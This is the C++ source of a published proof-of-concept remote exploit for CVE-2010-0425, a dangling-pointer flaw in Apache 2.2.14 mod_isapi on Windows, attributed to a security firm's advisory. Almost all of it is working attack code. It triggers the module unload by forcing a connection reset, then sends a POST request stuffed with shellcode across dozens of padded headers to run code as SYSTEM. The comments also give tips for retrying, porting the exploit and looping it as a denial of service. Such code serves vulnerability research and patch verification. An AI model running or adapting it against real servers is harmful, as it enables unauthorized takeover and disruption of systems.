/*
* Apache 2.2.14 mod_isapi Dangling Pointer Remote SYSTEM Exploit (CVE-2010-0425)
* ------------------------------------------------------------------------------
*
* Advisory: http://www.senseofsecurity.com.au/advisories/SOS-10-002
*
* Description:
* pwn-isapi.cpp exploits a dangling pointer vulnerabilty in Apache 2.2.14 mod_isapi.
* Due to the nature of the vulnerability, and exploitation method, DEP should be limited to essential
* Windows programs and services. At worst, if DEP is enabled for the Apache process, you could cause
* a constant DoS by looping this (since apache will automatically restart) :)
*
* Note that the exploit code may need to be run multiple times before a shell is spawned (70%
* success rate - tested on three different systems). Furthermore, the exploit code may require
* modification to exploit this vulnerability on different platforms. This is due to loaded memory
* references to the unloaded DLL (they will be different for each ISAPI module). Do not test
* this code in a VM otherwise the code may fail to send the RESET packet (something to do with
* VMware gracefully closing the connection, instead of sending a RESET packet) - I didnt want
* to have to use raw packets on Windows.
*
* Shellcode Note:
* The shellcode writes "pwn-isapi" to "sos.txt" which is created in the current working directory.
* Most operating systems should be supported by this shellcode. I've used Skylined's method of finding
* the base address of kernel32.dll for Windows 7 and modified it so that it will find the base
* address of msvcrt.dll instead. I've also added another check so that it will be able to detect
* "msvcrt.dll" on Windows Server 2003 (this OS loads msvcrt.dll in 5th position, and before this
* DLL string is read, another DLL (RPCRT4.dll) length is verifiied which matches the length of
* msvcrt.dll. So the added check will verify the presents of "m" before proceeding.
*
* Author:
* Brett Gervasoni (brettg [at] senseofsecurity.com.au)
*
* Copyright Sense of Security Pty Ltd 2010.
* http://www.senseofsecurity.com.au
*/
#include <iostream>
#include <windows.h>
#include <winsock.h>
#include <string>
#include <direct.h>
#pragma comment(lib, "wsock32.lib")
using namespace std;
#define SERVER_PORT 80
void header();
int createConnection(string targetAddr, int targetPort);
int sendTransmission(string message);
string recvTransmission();
void cleanUp();
WORD sockVersion;
WSADATA wsaData;
int sock;
struct sockaddr_in rserver;
int main(int argc, char *argv[])
{
string serverIP, isapiDLL;
string triggerVuln, payload;
char accept[171], referer[733], cookie[5376], random[7604], postData[23379], footer[299];
//custom shellcode that writes "pwn-isapi" to "sos.txt" in the current working directory
//Note: There are four NOPs at the end for padding. Not really needed.
char shellcode[] = "\x31\xc0\x31\xc9\x64\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x56\x08\x8b"
"\x7e\x20\x8b\x36\x66\x39\x4f\x14\x75\xf2\x66\xb9\x01\x6d\x66\x81\xe9\x94"
"\x6c\x66\x39\x0f\x66\x89\xc1\x75\xe1\x89\xe5\xeb\x71\x60\x8b\x6c\x24\x24"
"\x8b\x45\x3c\x8b\x54\x05\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3"
"\x34\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0\xfc\xac\x84\xc0\x74\x07\xc1"
"\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66"
"\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61"
"\xc3\xad\x50\x52\xe8\xaa\xff\xff\xff\x89\x07\x66\x81\xc4\x0c\x01\x66\x81"
"\xec\x04\x01\x66\x81\xc7\x08\x01\x66\x81\xef\x04\x01\x39\xce\x75\xde\xc3"
"\xeb\x10\x5e\x8d\x7d\x04\x89\xf1\x80\xc1\x0c\xe8\xcd\xff\xff\xff\xeb\x3b"
"\xe8\xeb\xff\xff\xff\x6e\x7c\x2e\xe1\x1e\x3c\x3f\xd7\x74\x1e\x48\xcd\x31"
"\xd2\x58\x88\x50\x07\xeb\x2f\x31\xd2\x59\x88\x51\x01\xeb\x2e\x51\x50\xff"
"\x55\x04\xeb\x2c\x31\xd2\x59\x88\x51\x09\xeb\x33\x51\x50\x89\xc6\xff\x55"
"\x08\x53\xff\x55\x0c\xe8\xd1\xff\xff\xff\x73\x6f\x73\x2e\x74\x78\x74\x4e"
"\xe8\xcc\xff\xff\xff\x77\x4e\xe8\xcd\xff\xff\xff\xe8\xcf\xff\xff\xff\x70"
"\x77\x6e\x2d\x69\x73\x61\x70\x69\x4e\xe8\xc8\xff\xff\xff\x90\x90\x90\x90";
header();
if (argc < 3)
{
printf("usage: %s <ip> <DLL>\n", argv[0]);
return 1;
}
serverIP = string(argv[1]);
isapiDLL = string(argv[2]);
//all these values could be set to 7601 + sizeof(shellcode)
//but mixing it up is good.
memset(accept, 'A', 170);
memset(referer, 'A', 732);
memset(cookie, 'A', 5375);
memset(random, 'A', 7603);
memset(postData, 'A', 23378);
memset(footer, 'A', 298);
triggerVuln = "POST /cgi-bin/" + isapiDLL + " HTTP/1.0\r\n"
"User-Agent: AAAAAAAA\r\n"
"Pragma: no-cache\r\n"
"Proxy-Connection: Keep-Alive\r\n"
"Host: " + serverIP + "\r\n"
"Content-Length: 40334\r\n\r\n" +
string(footer);
//Modify the below request if needed (depending on where your function pointer is pointing)
//Do so by adding or removing headers. So if you want to hit a higher function pointer,
//keep adding headers :)
//Note: If performing this blindly, try it a few times, change a bit, try again.
//During testing i found that using a chunk of data the same size with the same header name
//was more unreliable. In memory, large amounts of nulls are being placed either side of the
//payload. Since the function pointer address was random, by slightly mixing up the size of
//each header i would get better results.
payload = "POST /cgi-bin/" + isapiDLL + " HTTP/1.0\r\n"
"Accept: " + string(accept) + "\r\n"
"Referer: " + string(referer) + string(shellcode) + "\r\n"
"From: " + string(cookie) + string(shellcode) + "\r\n"
"Utruvh-guiergher: " + string(cookie) + string(shellcode) + "\r\n"
"Accept-Language: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n"
"Content-Type: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n"
"UA-CPU: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n"
"Pragma: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n"
"User-Agent: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n"
"Cookie: " + string(cookie) + string(shellcode) + "\r\n"
"Host: " + serverIP + "\r\n"
"Proxy-Connection: Keep-Alive\r\n"
"Okytuasd: " + string(cookie) + string(shellcode) + "\r\n"
"Asdasdasdasdasd: " + string(random) + string(shellcode) + "\r\n"
"Asdasda: " + string(random) + string(shellcode) + "\r\n"
"Sewrwefbui: " + string(random) + string(shellcode) + "\r\n"
"Qdfasdernu: " + string(random) + string(shellcode) + "\r\n"
"Cdffew-asdf: " + string(random) + string(shellcode) + "\r\n"
"Kuiytnb-Ehrf: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n"
"Lsfergjnuibubiu: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n"
"Baefrwerifnhu: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n"
"Zdsfno: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n"
"Psdfsafn: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n"
"Zefwefnuivre-sdf: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n"
"Ivre-sdf: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n"
"Yvasde-sdf: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n"
"Yuionbsdf: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n"
"Yasdasdasdf: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n"
"asdasdde-sdf: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n"
"Ertuioert-erf: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n"
"Content-Length: 25054\r\n\r\n" +
string(postData) + "CCCC" + string(shellcode) + "BBBB" + string(footer);
//Setup connection
if (createConnection(serverIP, SERVER_PORT) == 1)
{
printf("- an error occurred connecting to the server\n");
return 1;
}
printf("[+] Connected to %s.\n", serverIP.c_str());
printf("[+] Setting socket data structure values\n");
int iOptVal;
int aiOptVal;
struct linger linger_data;
//This is meant to set closesocket to do a "graceful close",
//however this is not the case when WSACancelBlockingCall() is called. A RESET packet is
//sent as a result - Note that if in a vm, for some reason a RESET packet does not get sent.
linger_data.l_onoff = 0;
linger_data.l_linger = 0;
setsockopt(sock, SOL_SOCKET, SO_LINGER, (char*)&linger_data, sizeof(linger_data));
setsockopt(sock, SOL_SOCKET, SO_DONTLINGER, (char*)&linger_data, sizeof(linger_data));
//Set SO_LINGER to 0 so WSACancelBlockingCall() will cause a RESET packet to be sent
getsockopt(sock, SOL_SOCKET, SO_LINGER, (char*)&linger_data, &iOptVal);
getsockopt(sock, SOL_SOCKET, SO_DONTLINGER, (char*)&linger_data, &aiOptVal);
printf(" - SO_LINGER value is set to %ld\n", linger_data.l_onoff);
printf(" - SO_DONTLINGER value is set to %ld\n", linger_data.l_linger);
printf("[*] Triggering DLL unload\n");
sendTransmission(triggerVuln);
Sleep(2000); //Sleep for a bit, otherwise on first run a RESET packet doesn't get sent.
WSACancelBlockingCall(); //Cause reset packet response
Sleep(2000); //The multiple Sleeps seem to break up stuff a bit, making it more reliable...
closesocket(sock);
Sleep(2000);
WSACleanup();
Sleep(2000);
printf("[+] The DLL should be unloaded by now\n");
//Reconnect to deliver payload
if (createConnection(serverIP, SERVER_PORT) == 1)
{
printf("- an error occurred connecting to the server\n");
return 1;
}
printf("[*] Sending payload\n");
sendTransmission(payload);
cleanUp();
printf("[+] Check to see if sos.txt was created...\n");
return 0;
}
void header()
{
printf("Apache 2.2.14 mod_isapi Remote SYSTEM Exploit (CVE-2010-0425)\n");
printf("-------------------------------------------------------------\n");
printf(" Brett Gervasoni (brettg [at] senseofsecurity.com.au)\n");
printf(" Copyright Sense of Security Pty Ltd 2010.\n");
}
//Setup the server
int createConnection(string serverIP, int port)
{
int result = 0, len = 0;
sockVersion = MAKEWORD(1,1);
WSAStartup(sockVersion, &wsaData);
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
perror("error: socket()\n");
result = 1;
}
rserver.sin_family = AF_INET;
rserver.sin_port = htons(port);
rserver.sin_addr.s_addr = inet_addr(serverIP.c_str());
memset(&rserver.sin_zero, 0, 8);
len = sizeof(struct sockaddr_in);
if ((connect(sock, (struct sockaddr *)&rserver, sizeof(struct sockaddr_in))) == -1)
{
perror("error: connect()\n");
result = 1;
}
return result;
}
//Send a message
int sendTransmission(string message)
{
int bytes_sent = 0;
bytes_sent = send(sock, message.c_str(), message.length(), 0);
if (bytes_sent < 0)
{
perror("error: send()\n");
exit(1);
}
return bytes_sent;
}
//Receive a message
string recvTransmission()
{
string result;
char *c = new char[1];
int bytes_recv = 0;
while (c[0] != NULL)
{
bytes_recv = recv(sock, c, 1, 0);
if (bytes_recv < 0)
{
perror("error: recv()\n");
//exit(1);
}
result += c[0];
}
return result;
}
//Clean up the connection
void cleanUp()
{
closesocket(sock);
WSACleanup();
}
